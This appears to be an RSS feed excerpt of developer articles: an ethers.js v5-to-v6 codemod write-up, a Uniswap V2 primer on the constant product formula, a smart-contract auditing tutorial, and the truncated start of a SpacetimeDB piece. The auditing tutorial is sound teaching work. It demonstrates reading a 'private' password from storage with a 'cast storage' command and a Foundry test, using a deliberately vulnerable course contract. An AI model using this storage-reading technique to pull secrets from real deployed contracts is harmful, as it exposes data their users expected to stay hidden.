&lt;p&gt;&lt;strong&gt;rename-provider-methods&lt;/strong&gt; — Handles three provider/transaction method changes. &lt;code&gt;sendTransaction&lt;/code&gt; was renamed on the Provider side to &lt;code&gt;broadcastTransaction&lt;/code&gt; (Signer's &lt;code&gt;sendTransaction&lt;/code&gt; is unchanged — the transform adds a TODO so you can verify which one it is). &lt;code&gt;parseTransaction&lt;/code&gt; and &lt;code&gt;serializeTransaction&lt;/code&gt; became &lt;code&gt;Transaction.from()&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;// before
await provider.sendTransaction(signedTx);
const tx = ethers.utils.parseTransaction(bytes);

// after (with TODO comment added for sendTransaction)
await provider.broadcastTransaction(signedTx);
const tx = ethers.Transaction.from(bytes);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;update-imports&lt;/strong&gt; — Runs last. Removes deprecated specifiers (&lt;code&gt;utils&lt;/code&gt;, &lt;code&gt;BigNumber&lt;/code&gt;, &lt;code&gt;providers&lt;/code&gt;, &lt;code&gt;constants&lt;/code&gt;) from &lt;code&gt;import { ... } from 'ethers'&lt;/code&gt; declarations once the other transforms have finished introducing their replacements. If no specifiers remain, it removes the entire import statement.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;// before
import { utils, BigNumber, providers, Contract } from 'ethers';

// after
import { Contract } from 'ethers';
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;does-it-actually-work-on-real-code-&quot;&gt;Does it actually work on real code?&lt;/h3&gt;
&lt;p&gt;I ran the pipeline against &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/Uniswap/v3-periphery&quot;&gt;Uniswap/v3-periphery&lt;/a&gt;, which is on ethers &lt;code&gt;^5.0.8&lt;/code&gt; — a production-grade codebase I had no hand in writing.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Metric &lt;/th&gt;&lt;th&gt;Result&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Files scanned &lt;/td&gt;&lt;td&gt;31&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Files automatically migrated &lt;/td&gt;&lt;td&gt;28&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Lines changed &lt;/td&gt;&lt;td&gt;502 lines (231 insertions, 271 deletions)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Files flagged for AI review &lt;/td&gt;&lt;td&gt;3&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Automated coverage &lt;/td&gt;&lt;td&gt;&lt;strong&gt;90.3%&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;False positives &lt;/td&gt;&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;I verified every change with &lt;code&gt;git diff&lt;/code&gt; before counting. The 0 false positives claim I validated separately: running the same pipeline against scaffold-eth-2 (already on ethers v6) produced 0 changes and 0 TODOs.&lt;/p&gt;
&lt;p&gt;One honest limitation: the codemod only tracks direct imports from &lt;code&gt;'ethers'&lt;/code&gt;. If your project wraps ethers behind an internal utility library or re-exports it from an index file, the transforms won't fire. I decided false negatives (missed cases) are safer than false positives (broken code), so the conservative approach was the right call.&lt;/p&gt;
&lt;h3 id=&quot;what-the-ai-handles&quot;&gt;What the AI handles&lt;/h3&gt;
&lt;p&gt;The 3 flagged files — &lt;code&gt;PairFlash.spec.ts&lt;/code&gt;, &lt;code&gt;snapshotGasCost.ts&lt;/code&gt;, &lt;code&gt;TickLens.spec.ts&lt;/code&gt; — all had the same pattern: BigNumber method calls on variables that came from contract return values or function parameters. The codemod added a comment to each one:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;// TODO(ethers-codemod): verify this BigNumber method call and migrate manually
const result = returnedFromContract.toNumber();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For these, I used this prompt:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;I'm migrating from ethers.js v5 to v6. In v6, BigNumber is replaced by native bigint.
The codemod flagged this code because it couldn't statically confirm the receiver is a
BigNumber. Please help me migrate it:

[paste the flagged code block]

Key rules:
- .toNumber() → Number(value) if the bigint fits safely in a JS number
- .toHexString() → value.toString(16)
- .add(x) → value + x  (both sides must be bigint — check that x is also bigint)
- Values returned from contract calls are already bigint in ethers v6, no conversion needed
- If a value could exceed Number.MAX_SAFE_INTEGER, keep it as bigint
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Three files, one prompt each, done in under ten minutes.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;how-to-use-it-right-now&quot;&gt;&lt;strong&gt;How to use it right now&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npx ts-node src/run.ts ./your-project
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The runner finds all &lt;code&gt;.ts&lt;/code&gt;, &lt;code&gt;.tsx&lt;/code&gt;, &lt;code&gt;.js&lt;/code&gt;, &lt;code&gt;.jsx&lt;/code&gt; files, skips anything with no ethers imports, runs all 5 transforms in the correct order, and prints a summary with per-transform change counts and a list of any files that need AI review.&lt;/p&gt;
&lt;p&gt;Source and full documentation: &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/Chinyereee/ethers-v5-to-v6-codemod&quot;&gt;https://github.com/Chinyereee/ethers-v5-to-v6-codemod&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;conclusion-1&quot;&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;28 files migrated automatically. 502 lines changed with zero false positives. 3 files handed off to AI with precise, targeted prompts. Total time to run: under 30 seconds.&lt;/p&gt;
&lt;p&gt;This is what software maintenance should look like. Mechanical changes — the ones with one right answer — get automated at the AST level, fast and correct. Human judgment gets reserved for the semantic changes that actually need it: the data flow questions, the precision questions, the &quot;what did the original author intend&quot; questions that no static tool can answer reliably. The codemod tells you exactly which files those are and why. The AI handles them in minutes.&lt;/p&gt;
&lt;p&gt;The weekend you were dreading becomes an afternoon. Most of it spent verifying a diff, not writing one.&lt;/p&gt;
&lt;p&gt;A note on the test repo choice: I tried scaffold-eth-2 first. It was already on v6 — which was actually useful, it confirmed the codemod produces zero changes on modern code. But I needed a real v5 target. Uniswap v3-periphery is widely known, actively maintained, and represents how real protocols actually use ethers. It felt like the honest benchmark to report against.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/15355/i-automated-90-of-the-ethers-js-v5-v6-migration-using-codemods-and-ai</guid>
<pubDate>Tue, 21 Apr 2026 04:12:41 +0000</pubDate>
</item>
<item>
<title>x * y = k, and Other Things I Should've Learned Sooner</title>
<link>https://coderlegion.com/14762/x-y-k-and-other-things-i-shouldve-learned-sooner</link>
<description>&lt;p&gt;Getting into blockchain as a smart contract dev is a different experience than entering almost any other sector. Every field has its niche things, sure, but you mostly learn by understanding well-known patterns and implementing them. In smart contract development, though, you actually have to read other people's contracts. Not just snippets, the whole thing. That's how you grow, and the best way to do it is to go through some of the most battle-tested protocols out there.&lt;/p&gt;
&lt;p&gt;And Uniswap is the obvious place to start. It's been one of the cornerstones of DeFi for as long as I can remember, long before I even got into the space. So every once in a while I'd think, alright, today's the day. Then I'd open the repos. Two of them, and a couple of utility repos too. Multiple contracts cross-referencing each other. An actual whitepaper with actual math in it &lt;em&gt;(and with my just-above-average mathematics, I wasn't exactly jumping for joy. I still am not)&lt;/em&gt;. The tab would go into hibernation, and I'd tell myself I'd pick it up properly once I got through whatever I was currently working on.&lt;/p&gt;
&lt;p&gt;Procrastination, basically.&lt;/p&gt;
&lt;p&gt;If you're in the same boat, whether for the same reasons or just because you &lt;em&gt;actually&lt;/em&gt; have other things that keep getting in the way, this series is what I wish I had. I went through the entire thing, cross-referenced everything against the actual contracts, and wrote it down in plain English with math I could understand myself. The goal was to cover it completely, without cutting corners, but in a way where you could open the contracts side by side, follow along, and realize by the end that you'd essentially read the whole thing without it ever feeling like you were.&lt;/p&gt;
&lt;p&gt;Turns out Uniswap is one of those things where the more you understand it, the simpler it gets. Not the other way around. The surface looks intimidating. Underneath it is one equation. Once that clicks, the rest assembles itself pretty quickly.&lt;/p&gt;
&lt;p&gt;So. Let's get into it.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-thing-that-i-kept-pushing-to-later-&quot;&gt;The thing that I kept pushing to &quot;later&quot;&lt;/h3&gt;
&lt;p&gt;Uniswap launched in November 2018. Quietly. No token, no VC fanfare, just a blog post and a GitHub repo. &lt;em&gt;It really must have been different times altogether, feels medieval almost.&lt;/em&gt; By the time DeFi Summer hit in 2020 and the entire space lost its mind over yield farming, Uniswap was already the backbone of a significant chunk of on-chain trading volume. While Aave and Compound were building decentralised lending, and Curve was figuring out how to swap stablecoins without destroying the peg, Uniswap was the place where the long tail of tokens actually got traded. New project launching and wants liquidity on day one without negotiating with a centralised exchange? Uniswap. Protocol needed a price feed that couldn't easily be manipulated? Uniswap. It became infrastructure almost by accident.&lt;/p&gt;
&lt;p&gt;The protocol has gone through four versions now, and the version history actually tells you something useful about what problems were being solved at each step.&lt;/p&gt;
&lt;p&gt;V1 was the proof of concept - launched in November 2018, it worked, but every token could only trade against ETH. Want to swap USDC for DAI? That's USDC → ETH → DAI. Two hops, two fees, and you're briefly exposed to ETH's price in the middle of a transaction you intended to be completely stable. It proved the core idea was sound. It didn't quite prove the model was ready for everything people would want to throw at it.&lt;/p&gt;
&lt;p&gt;V2 fixed that. Direct ERC-20 to ERC-20 pairs, better resistance to price manipulation, flash swaps, and a cleaner architecture overall. It shipped in May 2020 and became what most of the DeFi ecosystem actually built on top of. The forks alone tell the story: Sushiswap, Pancakeswap, Quickswap, and dozens of others across every EVM chain that launched afterward were essentially V2 with a different coat of paint. If you've used a DEX on any EVM chain other than Ethereum mainnet, there's a good chance it was running V2 logic underneath.&lt;/p&gt;
&lt;p&gt;V3 arrived in May 2021 and introduced concentrated liquidity — LPs can now choose specific price ranges to deploy their capital into rather than spreading it uniformly across the entire curve. More capital-efficient, but meaningfully more complex to reason about. &lt;em&gt;We’ll cover this too. Sometime. Soon. Hopefully.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;V4 launched in January 2025 and is a different kind of upgrade altogether — it turns Uniswap into a developer platform. The headline feature is hooks: modular contracts that let developers inject custom logic into pool creation, swaps, and liquidity management. On top of that, a singleton architecture consolidates all pools into one contract, making pool creation up to 99.99% cheaper than before. It's powerful, and it's going to be interesting to watch what gets built on top of it. &lt;em&gt;Yeah, considering me, covering this one “soon” might be a stretch.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;V2 is still the right foundation to understand first. V3 and V4 both build on concepts that V2 establishes i.e. concentrated liquidity, which makes no sense without first understanding uniform liquidity, and hooks customize a swap flow you need to already understand. You can reason through V1 in about five minutes once you have V2. Everything else follows.&lt;/p&gt;
&lt;p&gt;So V2 is where this series lives.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;how-does-it-actually-work-&quot;&gt;How does it actually work?&lt;/h3&gt;
&lt;p&gt;On a centralised exchange, there's an order book, which is a live list of people willing to buy at various prices and people willing to sell at various prices, with a matching engine pairing them up in real time. The price at any moment is just wherever the last match landed. It works because there are enough participants that someone is almost always willing to take the other side of your trade.&lt;/p&gt;
&lt;p&gt;Uniswap has none of that. No order book, no matching engine, no counterparty. Just a smart contract sitting on-chain with two tokens locked inside it, ready to trade with you any time you want. You want USDC, send it ETH. It'll give you USDC back. The question that actually matters is: how does it decide how much?&lt;/p&gt;
&lt;p&gt;Think about it from the pool's perspective for a second. It holds some amount of ETH and some amount of USDC, and it wants to behave like a reasonable market. It has no external price feed. It has no idea what Binance is doing right now. All it has is the ratio of what it holds. And that ratio is actually enough, because the ratio &lt;em&gt;is&lt;/em&gt; the price. If the pool holds 100 ETH and 200,000 USDC, the implied price of ETH is 200,000 / 100 = 2,000 USDC. Simple division.&lt;/p&gt;
&lt;p&gt;The problem is keeping that relationship stable in a sensible way as trades happen. If you just let people take whatever they want, the pool drains. So the pool needs a rule. And the rule it uses is this: whatever you do to this pool, the product of the two token balances cannot decrease.&lt;/p&gt;
&lt;p&gt;If the pool holds &lt;em&gt;x&lt;/em&gt; of one token and &lt;em&gt;y&lt;/em&gt; of the other, then at all times:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;x · y = k&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;That's the rule. &lt;em&gt;k&lt;/em&gt; stays constant. You want to take some ETH out? Fine, but you have to put in enough USDC that the product of the new balances still equals &lt;em&gt;k&lt;/em&gt;. The pool doesn't care what the &quot;right&quot; price is — it just enforces that one equation, and the price falls out automatically.&lt;/p&gt;
&lt;p&gt;Work through a concrete example. Pool holds 100 ETH and 200,000 USDC. &lt;em&gt;k&lt;/em&gt; = 20,000,000. You want to buy 10 ETH. After giving you 10 ETH, the pool has 90 ETH. To keep the product at 20,000,000, it now needs 20,000,000 / 90 ≈ 222,222 USDC. It had 200,000, so you owe it 22,222 USDC for those 10 ETH.&lt;/p&gt;
&lt;p&gt;At the pool's implied price before the trade, 10 ETH should have cost 20,000 USDC. You paid 22,222. The extra 2,222 is what buying 10% of the pool's ETH supply in a single trade does to the math, and it points to something important that we'll come back to in a moment.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://substackcdn.com/image/fetch/$s_!alg5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F3abdefaa-312c-46d9-a651-ff36ccfc72ef_761x563.jpeg&quot; alt=&quot;The hyperbolic curve for x*y=k&quot;&gt;&lt;/p&gt;
&lt;p&gt;Here’s an image I found that visualises this nicely. The quantities of token A and B act as x and y, and every valid state of the pool lies somewhere on this curve defined by k. Trades don’t change the curve — they just move the pool along it.&lt;/p&gt;
&lt;p&gt;This is the &lt;strong&gt;Constant Product Formula&lt;/strong&gt;. The name, at this point, is fairly self-explanatory. The product stays constant. &lt;em&gt;k&lt;/em&gt; doesn't move. And the system built on top of this - a smart contract that always quotes a price, always accepts a trade, at any size, at any time, with no humans or order books involved, is an &lt;strong&gt;Automated Market Maker&lt;/strong&gt;. It makes markets. Automatically.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;whose-tokens-are-in-there-and-why&quot;&gt;Whose tokens are in there, and why&lt;/h3&gt;
&lt;p&gt;Uniswap doesn't own anything. Every token in every pool was put there by someone who wanted to earn a return on their capital, and those people are called &lt;strong&gt;liquidity providers&lt;/strong&gt;, or LPs.&lt;/p&gt;
&lt;p&gt;The word liquidity here means roughly the same thing it means in traditional finance, i.e. the availability of an asset for exchange without significantly moving its price. A pool with $10 million worth of tokens in it has a lot of liquidity. A pool with $50,000 in it doesn't. When you deposit into a pool, you're increasing its liquidity, which is where the term comes from.&lt;/p&gt;
&lt;p&gt;To deposit, you have to provide &lt;em&gt;both&lt;/em&gt; tokens, in proportion to the current ratio of the pool. You can't just throw in ETH and call it done. You need the matching USDC too. This is to preserve the existing ratio, because depositing in a different ratio would shift the pool's implied price, and that's not something the pool will just let happen without the math demanding compensation for it. In return for depositing, the pool mints &lt;strong&gt;LP tokens&lt;/strong&gt; and hands them to you. These represent your ownership stake. Deposit 5% of the total pool value, you get tokens representing 5% of the supply. They're regular ERC-20 tokens which are fully transferable, and your ticket to getting your deposit back whenever you want.&lt;/p&gt;
&lt;p&gt;Every swap that goes through the pool charges a 0.3% fee. That fee doesn't get sent anywhere; it just stays inside the pool, incrementally growing the balances above what &lt;em&gt;k&lt;/em&gt; alone would predict. Since LP tokens represent a share of everything in the pool, and the pool is quietly getting larger with each swap, those LP tokens are gradually becoming worth more. When you eventually do want out, a process the contracts call &lt;em&gt;burning&lt;/em&gt;, you hand back your LP tokens and receive your proportional share of the current pool: original deposit, plus your cut of every fee collected since you put the money in.&lt;/p&gt;
&lt;p&gt;The total value of all tokens across all pools in the protocol is what people refer to as &lt;strong&gt;TVL&lt;/strong&gt; — Total Value Locked. It's the number that gets cited when people talk about how large a DeFi protocol is, and it matters practically because it determines how smoothly the pool handles large trades without moving the price too much.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;what-actually-happens-to-the-price-when-you-trade&quot;&gt;What actually happens to the price when you trade&lt;/h3&gt;
&lt;p&gt;Back to that example. The pool had 100 ETH and 200,000 USDC, and you bought 10 ETH for 22,222 USDC instead of the &quot;expected&quot; 20,000. That gap exists because of something called &lt;strong&gt;price impact&lt;/strong&gt;, and understanding it is probably the most useful intuition to take away from this entire post.&lt;/p&gt;
&lt;p&gt;The spot price at any moment is just &lt;em&gt;y&lt;/em&gt; / &lt;em&gt;x&lt;/em&gt; — the ratio of the two balances. Before your trade: 200,000 / 100 = 2,000 USDC per ETH. After your trade: 222,222 / 90 ≈ 2,469 USDC per ETH. Your single trade moved the price by about 23%.&lt;/p&gt;
&lt;p&gt;That's an extreme example. Buying 10% of the pool's ETH supply in one go will always hurt you, but the shape of the relationship is what matters. Look at the formula: spot price is &lt;em&gt;y&lt;/em&gt; / &lt;em&gt;x&lt;/em&gt;. When you buy ETH, &lt;em&gt;x&lt;/em&gt; (ETH in the pool) shrinks and &lt;em&gt;y&lt;/em&gt; (USDC in the pool) grows. Smaller denominator, bigger numerator, price goes up. When you sell ETH, the opposite happens. The pool is always drifting toward whatever ratio reflects the last trade, which is what keeps it loosely aligned with external market prices. If the pool's implied price drifts too far from, say, Binance's price, arbitrageurs come in and trade it back into alignment, profiting from the gap and correcting the pool's ratio in the process.&lt;/p&gt;
&lt;p&gt;The gap between the price you saw when you submitted your transaction and the price you actually executed at is called &lt;strong&gt;slippage&lt;/strong&gt;. It comes from two sources: your own trade moving the pool (price impact), and other transactions executing before yours and moving it first. Larger pools suffer less from both. A 10 ETH trade against a pool with 10,000 ETH barely registers. Against a pool with 100 ETH, it's significant. This is why liquidity depth matters, and why a newly launched token with a thin pool on Uniswap can swing 20% on a single moderate trade.&lt;/p&gt;
&lt;p&gt;There's one more property the formula has that's worth appreciating: the pool can never be fully drained. To get all the ETH out you'd need to send in an infinite amount of USDC, since as &lt;em&gt;x&lt;/em&gt; approaches zero, the price climbs toward infinity. The curve is a hyperbola, and the pool always lives somewhere on it. Every trade just moves you to a different point.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;uniswap-didn-t-invent-amms-but-it-defined-the-template&quot;&gt;Uniswap didn't invent AMMs but it defined the template&lt;/h3&gt;
&lt;p&gt;Once V2 proved the constant product model worked at scale, a reasonable question was: what if the formula were different?&lt;/p&gt;
&lt;p&gt;Curve Finance, which had launched around the same time, looked at the stablecoin problem and noticed something. If you're swapping USDC for USDT, two assets that are both supposed to be worth $1, the constant product formula still moves the price noticeably on large trades, even though economically, the price essentially &lt;em&gt;shouldn't&lt;/em&gt; move at all. Curve replaced the formula with a hybrid that behaves like constant product near the edges of the curve but much more like a flat line near the peg, where stablecoin trades actually happen. The result is dramatically tighter pricing for like-valued assets. Curve became the dominant venue for stablecoin and liquid staking swaps for exactly this reason, and still is.&lt;/p&gt;
&lt;p&gt;Balancer took a different angle entirely. Instead of two-token pools with equal weighting, it generalized the model to support up to eight tokens with arbitrary weight ratios. A pool could hold 80% ETH and 20% USDC, and the AMM mechanics would keep it at that ratio automatically as people traded against it. Effectively a self-rebalancing index fund that earns swap fees. &lt;em&gt;Don’t worry if some of these terms feel a bit unknown, by the end of the series, you’ll be flowing through these like a proper crypto bro.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Both of these, and the dozens of AMM protocols that came after, are built on the same underlying insight Uniswap established: encode your pricing rule as a mathematical invariant, let the market trade against it, and price discovery happens by itself. The specific formula is a design choice. What Uniswap figured out first was the architecture. Four versions and nearly $3 trillion in cumulative trading volume later, that original insight is still at the centre of all of it.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-four-things-you-can-actually-do&quot;&gt;The four things you can actually do&lt;/h3&gt;
&lt;p&gt;Everything on Uniswap V2 is one of four operations, and this series is going to go deep on each one in the posts that follow.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Swapping&lt;/strong&gt; is the one everyone has used — send in one token, get back another, rate determined by the constant product formula, 0.3% fee taken from your input.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Adding liquidity&lt;/strong&gt;, which the contracts call &lt;em&gt;minting&lt;/em&gt; — deposit both tokens in the right ratio, receive LP tokens representing your ownership stake, start earning fees.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Removing liquidity&lt;/strong&gt;, which the contracts call &lt;em&gt;burning&lt;/em&gt; — hand back your LP tokens, get your proportional share of the current pool returned to you, fees and all.&lt;/p&gt;
&lt;p&gt;And &lt;strong&gt;flash loans&lt;/strong&gt; — borrow any amount of tokens from the pool with zero collateral, do whatever you want with them within the same transaction, return them before the transaction closes. No approval process. No credit check. Nothing. If the money isn't back by the end of the transaction, the whole thing reverts as if it never happened. The EVM's atomicity is the security model, and the whole thing was designed this way deliberately. It's used for things like arbitrage across protocols, liquidating underwater positions in lending protocols, and swapping collateral types without needing upfront capital. It's one of those things that sounds like it shouldn't work until you think about it for a minute and realize it couldn't possibly not work.&lt;/p&gt;
&lt;p&gt;Each of those four flows has a lot going on underneath — the actual contracts, the exact math at each step, and a handful of design decisions that look strange at first and make complete sense once you trace through them. That's what the upcoming posts are for.&lt;/p&gt;
&lt;p&gt;If the constant product formula is starting to feel intuitive rather than just symbolically familiar, you're in exactly the right place to continue.&lt;/p&gt;
&lt;p&gt;Next up: &lt;a rel=&quot;nofollow&quot; href=&quot;https://dev.to/ranting_sage/before-the-swaps-a-map-of-uniswap-v2-2ihf&quot;&gt;Before the Swaps: A Map of Uniswap V2&lt;/a&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/14762/x-y-k-and-other-things-i-shouldve-learned-sooner</guid>
<pubDate>Tue, 14 Apr 2026 09:40:38 +0000</pubDate>
</item>
<item>
<title>How To Audit A Smart Contract</title>
<link>https://coderlegion.com/14218/how-to-audit-a-smart-contract</link>
<description>&lt;p&gt;I was going through the &lt;a rel=&quot;nofollow&quot; href=&quot;https://updraft.cyfrin.io/courses/security&quot;&gt;Updraft Smart Contract Security course&lt;/a&gt;, and I realized I had been doing some things the wrong way.&lt;br&gt;
Here are a couple of things I started doing differently.&lt;/p&gt;
&lt;p&gt;I am basing this article on the &lt;code&gt;PasswordStore&lt;/code&gt; repo here: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/Cyfrin/3-passwordstore-audit&quot;&gt;3-passwordstore-audit&lt;/a&gt;.&lt;br&gt;
Definitely check it out. It is only about 20 lines of contract code, and that is where &lt;code&gt;nSLOC/CLOC&lt;/code&gt; comes in. It tells you how much actual code is in the codebase.&lt;/p&gt;
&lt;h3 id=&quot;step-1-trace-trust-boundaries&quot;&gt;Step 1: Trace Trust Boundaries&lt;/h3&gt;
&lt;p&gt;Ask these questions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Who can &lt;strong&gt;write&lt;/strong&gt; the value?&lt;/li&gt;
&lt;li&gt;Who can &lt;strong&gt;read&lt;/strong&gt; the value?&lt;/li&gt;
&lt;li&gt;What does the constructor assume?&lt;/li&gt;
&lt;li&gt;What does the contract pretend is hidden?&lt;/li&gt;
&lt;li&gt;What breaks if the value is public?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/Cyfrin/3-passwordstore-audit/blob/main/src/PasswordStore.sol&quot;&gt;PasswordStore.sol&lt;/a&gt;, the owner is set in the constructor, and the setter check &lt;code&gt;msg.sender&lt;/code&gt;.&lt;br&gt;
That gives the shape of the access control.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-solidity&quot;&gt;function setPassword(string memory newPassword) external {
    if (msg.sender != s_owner) {
        revert PasswordStore__NotOwner();
    }
    s_password = newPassword;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The guard is there. The function is protected. So far so good.&lt;/p&gt;
&lt;h3 id=&quot;step-2-what-the-repo-shows&quot;&gt;Step 2: What the repo shows&lt;/h3&gt;
&lt;p&gt;The repo points to two separate issues:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Issue 1: Missing access control&lt;/strong&gt; on &lt;code&gt;getPassword&lt;/code&gt;.&lt;br&gt;
The getter has no &lt;code&gt;msg.sender&lt;/code&gt; check, so anyone can call it and retrieve the password directly through the ABI.&lt;br&gt;
&lt;strong&gt;Issue 2: The password is exposed&lt;/strong&gt; in storage regardless.&lt;br&gt;
 Here is why.&lt;/p&gt;
&lt;p&gt;Every state variable in a Solidity contract occupies a storage slot. &lt;code&gt;s_password&lt;/code&gt; sits at slot 1. The &lt;code&gt;private&lt;/code&gt; keyword only prevents other contracts from reading it through the ABI. It does nothing to stop an off-chain read.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-solidity&quot;&gt;# the 'private' variable
string private s_password;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can retrieve the saved password with a single Foundry cast command:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cast parse-bytes32-string $(cast storage  &amp;lt;CONTRACT_ADDRESS&amp;gt; 1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We fetched the raw bytes at storage slot 1 and decoded it to get the plaintext password.&lt;br&gt;
This is not a bug in Solidity. It is how blockchains work. Every transaction, every storage write, is public by design. Marking a variable private is a visibility modifier for the compiler, not a confidentiality guarantee for your users.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The lesson:&lt;/strong&gt; you can protect a function and still leak the data. Access control and data confidentiality are two different problems that need two different solutions.&lt;/p&gt;
&lt;h3 id=&quot;step-3-simple-audit-flow&quot;&gt;Step 3: Simple audit flow&lt;/h3&gt;
&lt;p&gt;Small contracts are not easier to audit, they are easier to audit shallowly. For any contract under 100 nSLOC, I now run four checks before calling it done:&lt;br&gt;
&lt;strong&gt;1. Read the code and map the intended trust boundary.&lt;/strong&gt;&lt;br&gt;
What is the contract supposed to do, and who is supposed to be able to do it? Write it down in plain English before touching the code.&lt;br&gt;
&lt;strong&gt;2. Check who can actually call each function.&lt;/strong&gt;&lt;br&gt;
Does every sensitive function have a guard? Does that guard cover all entry points, including any inherited or fallback functions?&lt;br&gt;
&lt;strong&gt;3. Check whether storage or calldata exposes the value anyway.&lt;/strong&gt;&lt;br&gt;
A &lt;code&gt;private&lt;/code&gt; variable is not private on-chain. Ask: if someone ran &lt;code&gt;cast storage&lt;/code&gt; against every slot, what would they find? Think about variables that leak information they are not supposed to.&lt;br&gt;
&lt;strong&gt;4. Write a test for the failure mode.&lt;/strong&gt;&lt;br&gt;
For the storage issue, a simple Foundry test proves it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-solidity&quot;&gt;function test_anyone_can_read_password() public {
    vm.startPrank(owner);
    passwordStore.setPassword(&quot;supersecret&quot;);
    vm.stopPrank();

    // Read slot 1 directly, bypassing the getter entirely
    bytes32 storedPassword = vm.load(
        address(passwordStore),
        bytes32(uint256(1))
    );

    assertEq(
        string(abi.encodePacked(storedPassword)),
        &quot;supersecret&quot;
    );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the test passes, the contract has a confidentiality problem regardless of what the getter says.&lt;/p&gt;
&lt;h3 id=&quot;takeaway&quot;&gt;Takeaway&lt;/h3&gt;
&lt;p&gt;Contracts with few functions should not trick you into shallow reviews.&lt;/p&gt;
&lt;p&gt;The real question is not, “Does the function have a guard?”&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;“Does the contract actually meet the expected business logic and keep the data safe?”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;How would you write this contract differently?&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/14218/how-to-audit-a-smart-contract</guid>
<pubDate>Wed, 08 Apr 2026 08:57:34 +0000</pubDate>
</item>
<item>
<title>SpacetimeDB and Reducers: Architecture and Patterns</title>
<link>https://coderlegion.com/6173/spacetimedb-and-reducers-architecture-and-patterns</link>
<description>&lt;p&gt;SpacetimeDB is a transactional, in-memory relational database that lets you implement database-backed state machines via Rust reducers and table schemas. All data is stored in memory and persisted via an append-only Write-Ahead Log (WAL) called the Commitlog. Reducers are atomic, deterministic functions that execute inside the database, providing ACID guarantees.&lt;/p&gt;
&lt;p&gt;In &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/stk2chain/stk2eth&quot;&gt;STK2ETH&lt;/a&gt; we use SpacetimeDB to store USSD menus, sessions, swaps, and audit logs.&lt;/p&gt;
&lt;h3 id=&quot;tables-and-schema&quot;&gt;Tables and Schema&lt;/h3&gt;
&lt;p&gt;Tables are declared using Rust structs annotated with the &lt;code&gt;#[table(name = &amp;lt;table&amp;gt;)]&lt;/code&gt; macro, which generates typed accessors. This provides compile-time guarantees about columns and helps reduce human errors in row operations.&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;#[table(name = ussd_session, public)]
